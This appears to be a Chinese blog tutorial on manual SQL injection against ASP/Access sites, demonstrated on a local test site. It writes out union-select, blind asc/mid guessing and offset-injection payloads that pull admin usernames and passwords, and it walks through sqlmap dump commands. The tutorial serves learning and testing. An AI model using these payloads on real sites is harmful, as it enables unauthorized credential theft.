|
为什么先从SQL注入开始记录了,因为我入门这个的时候也是从注入开始学的,所以就先从这个开始总结了,关于SQL注入,我个人的理解就是在代码交接处,没有对接受的变量进行过滤,导致用户如果对输入的地方输出为代码时,该系统会对该代码进行执行。也就是说,管理员的操作权限,我们普通用户也可以操作。我时常用仓库来比喻网站,而管理员就是仓库管理员,游客就就是观光的人,注入就是看到这个物品没上锁,可以直接拿出来。(虽然这个比喻有点不切实际,但是差不多是这个意思。)
access数据库的来历,我就不说了,因为我懒的记,就算记了感觉上也没大多用处,只要记得数据库的结构就行了。

先是表名,然后是列名,再者就是数据,我发个实际的图吧,大概就是这么一个结构。

下面,开始说下未过滤的SQL代码,说是SQL代码,其实应该说是asp代码,因为,很多access数据库都是和asp这个脚本语言相连的,关于asp这个脚本语言细节,想深入了解的可以百度下,毕竟搜索引擎也是一个很好的老师,很好的老师。

上图是asp的代码,ID就是一个变量,一般的网址结构,相信大家都知道的,网址又叫URL,他的组成是由网站地址,文件目录,还有文件名,文件里还有参数名和参数值。就像下面的这个。
网站地址:
http://127.0.
0.1/0/wenjianjia/wenjianming.asp?id=1
网站地址:http://127.0.0.1/0/
文件目录:wenjianjia
文件名:wenjianming.asp
参数名:id
参数值:1
这个通过上图的未过滤的asp代码,还有下文对网址的解析,大家应该能看出来,变量在ID的这个值上面也就是参数值上。下面我们开始实施操作,理解原理。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 这个URL的ID处存在注入,它在执行是时候是这样的。
select * from product where id=1 这个就是执行的SQL语句,通过这一句来链接数据库与页面直接的数据。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1'我们在URL的后面的加了一个点,来进行测试,看它存不存在注入。
select * from product where id=1' 因为这个点也被带入插入查询了,肯定的,没有 1'文件,所以报错了,那么就说明,存在注入,因为它这条语句带入查询了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and1=1 通过正确and正确这个编程里的方法,来判断是否可以显错,正确和正确,返回的肯定正确。(这个如果想细了解的可以百度下编程的逻辑判断,自己学习下。)
select * from productwhere id=1 and 1=1 返回正确,肯定要正确嘛,不正确,那还杂注入了。
--------------------------------------------------------------------------------------------------
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and1=2 通过正确and错误,肯定错误,这个编程里的逻辑判断,来看下是否显示错误,如果显示错误,那就表示,可以通过显错来注入。如果不显错,那只能看看用工具能不能来跑出账号密码了,手工注入的毕竟有局限性,而且麻烦。
select * from productwhere id=1 and 1=2 返回错误页面
--------------------------------------------------------------------------------------------------
下面就开始注入了,access数据库的SQL注入,一般都是属于暴力注入,没有固定的规律可言,就是说,你只能靠猜的方法来注入,而不是有固定的方法,肯定会出来密码。
access数据库注入可分为两种注入方法,一种为联合查询法,一种为逐字猜解法,都是属于SQL的语句。那先来说下联合查询法吧。
首先我们需要用 order by 这个语句来猜解列表数,看上面的数据库图,应该都能懂。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 orderby 5 显示正常。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 orderby 6 显示错误。
通过这个对比,我们能猜出这个数据库有5个列表数,那么就开始联合查询法了。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 unionselect 1,2,3,4,5 from admin
这句的代码的意思就是如果存在admin这个表名,则页面返回正常,如果没有,则返回错误,就像上面的判断是一个道理。
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 unionselect 1,username,password,4,5 from admin
这句代码的的前提是页面爆出可替换的数字时才行,然后把你认为可能是列名的单词替换到数字的位置,下面我会贴上实际图的。这句代码,我列出的两个列名是常见的列名,如果不存在的话,就会直接报错的。如果存在,那么列名下的数据,就会被爆出来。
--------------------------------------------------------------------------------------------------
下面我开始说下逐字猜解法,因为有些情况下,如果网站不支持联合查询法,那就只能哟逐字猜解法了,这个方法很麻烦,所以一般如果到这个步骤的话,肯定要上工具的,要不太麻烦了。
查表名: andexists(select * from 表名)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 andexists(select * from admin)
查询该数据库是否存在admin这个表名,如果存在就返回正常,如果返回错误就是不存在。
--------------------------------------------------------------------------------------------------
查列名: andexists(select 列名 from admin)
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 andexists(select username from admin)
查询该数据库下,admin这个表名下是否存在username这个列名,如果存在就返回正常,不存在就爆错。
--------------------------------------------------------------------------------------------------
查数据:1.确定长度2.确定asc数据(asc编码)这个一个格式。
and (select top 1 len(列名)from admin)=5
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and(select top 1 len(username) fromadmin)=5
判断 username这个列表下的数据长度为多少,如果返回正确的话,就是说明 username这个列表下的数据长度为5位数。如果不正确,就表示不是被,然后一个一个猜吧,一般来说超不过10位数,谁的网站账号起那么长啊,和密码快一个长度了。。。。
and (select top 1asc(mid(列名,位数,1)) fromadmin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and(select top 1 asc(mid(username,1,1))fromadmin)=97
http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and(select top 1 asc(mid(username,2,1))fromadmin)=100
判断access数据库,admin表名下的username这个列表下的数据第一位数是否为asc编码里的97,也就是是否为a。如果是就猜第二位,把位数改成2,然后把后面的asc那个97改改,也就是一个一个的试,所以说很麻烦,一般都是工具跑的。
下面贴一个asc编码的图,自行参考。

--------------------------------------------------------------------------------------------------
对了,access还有一个偏移注入法,就是再已知表名的情况下,不知道列名,进行猜解。我本人对这个偏移注入原理不是很理解,所以也无法详细的说说,但是也得贴上代码,好歹大家都知道这个存在吧。
利用表自连偏移注入Access数据库
1.确定网站 字段数 order by 字段数
2.比如说 字段是47表名是admin ((and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,.....,47 fromadmin)可以爆出敏感字符)
3.构造从1,*查询直到正确的爆出敏感字符的语句 (列子:and 1=2 union select1,*错误就加1,2,3,4,5,6,7,8,*直到正确的爆出敏感字符)
4.例如是(and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin 到33,*正确的爆出敏感字符)
5.用47-33=14 *号就代表admin表名的14个字段
6.把admin表扩大一倍14x2=28 在用47-28=19 (例子:and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin把19,后面的字段全部替换成*号就变成这样了and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* fromadmin)
7.直接爆管理员帐号密码替换表名admin语句(admin as a inner join admin asb on a.id=b.id)
替换后的就变成这样了 (例子:and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from (admin as ainner join admin as b on a.id=b.id))
8.如果还爆不出来帐号密码那就在19,后面加a.id(例子:and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,* from (adminas a inner join admin as b on a.id=b.id))
9.还爆不出来帐号密码就在 a.id后面加上b.id(例子:and 1=2 union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,b.id,* from(admin as a inner join admin as b on a.id=b.id))
10.还爆不出来帐号密码就在b.id后面加c.id 加上c.id就相当于admin表的字段扩大了3倍 就是14x3=42 47-42=5 替换表名admin 语句((admin as a inner join admin as b on a.id=b.id) inner joinadmin as c on a.id=c.id)(例子:and 1=2 union select 1,2,3,4,5,a.id,b.id,c.id,* from ((adminas a inner join admin as b on a.id=b.id) inner join admin as c ona.id=c.id))
上面是我从别的地方贴的,原地址,我已经找不见了,大概就是这么个偏移的思路,如果想更深入的了解,可以可以自己百度去了解。
--------------------------------------------------------------------------------------------------
好了,高潮的地方开始了,我要开始本地搭建一个asp+access的网站,网站源码是在网上搜的,当然源码里‘马’肯定不少,不过咱电脑又不是服务器,没事。开始了!!!

找见一个access注入点的页面。

判断是否存在注入。

and1=1 返回正常。

and 1=2 返回错误。

查询列表字段数,返回正常的是22个,说明存在22个列表字段。

当order by 到23的时候,报错了,说明只存在22个字段数。

判断是否存在admin这个表名,返回正常,说明存在这个表,但是没爆出数字,咋办?让语句出错被。

好了,我在ID参数后面加了个and 1=2,就是让语句不存在,好出现可替换的数字,下面就可以把爆出的数字进行替换为你认为可能是的列名。

因为我自己搭建的本地,所有我知道列名是什么,我就直接打上去了,然后列名下的数据就被替换出来了。
这就是联合查询法,很简单。但是实际环境中,肯定问题很多,很多,但是联合查询法的,原理就我上面说的呢个,基础就这个。
---------------------------------------------------------------------------------------------------------------
下面,开始演示下,逐字猜解法:

猜解是否存在admin这个表名,返回正常,那就说明存在了。

猜解admin这个表名下是否存在admin这个列名,返回正常,说明存在。

猜解admin这个表名下的admin列名的数据,总长度是否为5位数。页面返回正常,呢就是说5位数。

开始猜解admin这个表名下admin这个列名的下面的数据第一位是否asc编码里的A ,返回正常,说明是。

开始猜解admin这个表名下admin这个列名的下面的数据第二位是否asc编码里的B ,返回正常,说明是。对了,这里面的top1 的意思是说,第一行,如果不加的话,要么爆错,要么还是报错。
以上就是逐字猜解法,是不是看着很简单啊,不麻烦啊,一遍过啊,,,,这是在我源码知道的情况下,如果我不知道具体的数据,,那这个截图教程就会很曲折很曲折,当然,手工注入access也是不常用的,毕竟效率才是第一位,都是上工具的。
----------------------------------------------------------------------------------------------------------------
这里,我就开始说下一个注入工具,“SQLmap”这个工具,注入工具很多,什么明小子啊,啊D啊,等等一堆注入工具,但是SQLmap这个工具,是我感觉上很不错的注入工具,它是在python的环境下编写的,当然,我就是python入的门嘛,对关于python编的工具,总是抱有多一点的喜爱的。
SQLmap不光是一个注入工具,在整体的构架上,也算是编程构架思绪学习的一个好的样例,不扯了,说下这个工具吧,如果去官网上下载的话,需要再下载个python的编程环境,毕竟是在这个环境下编写的嘛,当然你也可以下载个免环境版的sqlmap,这个我不细说了,网上一百度,一大堆。
下面开始正式开始操作,网址还是上面我自己搭建的网站,本地网站,安全,稳定,可靠,适合学习,操作,理解,还不被查水表,也不给他人带来麻烦,还能知道原理,练习技术,学会攻防,啦啦啦。不喷了,开始了。

打开工具后是这个样子的如果是python环境下的,可以按着我上面的操作一个一个输入,如果是免环境的,直接输入 -u "url地址" 然后,摁回车就是了。

回车后,直接跑出来数据库类型,因为我总是闲的没事,跑我自己的这个,所以很快就出来,如果你们用的话,可能会出现一条又一条的询问句,要么就全部回车,要么,百度翻译一下句子,然后再选择。

因为这个得一句一句的指令操作的,所以你,摁下方向键的上键,就会还原到上一句的句子,然后你可以直接修改后面的代码。--tables这个是表名的意思。

然后就跑出来access 数据库下,所有的表名。

操作依旧,摁上键,返回上一条命令,然后删除多余的,增改为--columns -T "amin"再回车,就又开始跑了,--columns 是列名的意思,-T“admin”就是表名的意思。

看吧,这样就全部跑出来列名了,很方便,还简单。

操作依旧,--dump 在单词里是下载的意思,-C"admin,password"这个就是列名admin列名和password列名,-T“admin”这个就不说了,你该知道的。还有在安全测试的时候,能不dump就不dump,除非你是授权的,警惕dump。

这两句,我忘了贴翻译,第一句的意思,我不说了,我忘了,第二句的意识是说,是否该工具替你跑出md5加密值为多少,一般工具不好跑出来。

好了,账号密码都爆出来了了,是不是看着很简单?错,不简单,下面我来细说下,并总结下,全文,因为到这里了,差不多access注入篇就要结束了。
--------------------------------------------------------------------------------------------------------------
总结:
access的基础的基础算是总结完了,这个只是access数据库存在注入的漏洞的操作方法,同时还是最基础的,现实的环境比这个复杂的多的多,会出现各种问题,不是我上面用来测试的截图这么简单,这里只是汇总了一下,最基础的基础的,复杂一部分,我就不在这个文章了讲了,等以后了有机会来了就说说,没机会了,你们就自己摸索的着找资料克服吧。感觉我写的这篇文章,算是基础里,access注入篇基础的基础讲的最细的了。自我感觉。
不赖,自己写了一遍,我对基础又加深的记忆了一遍。耶! |
|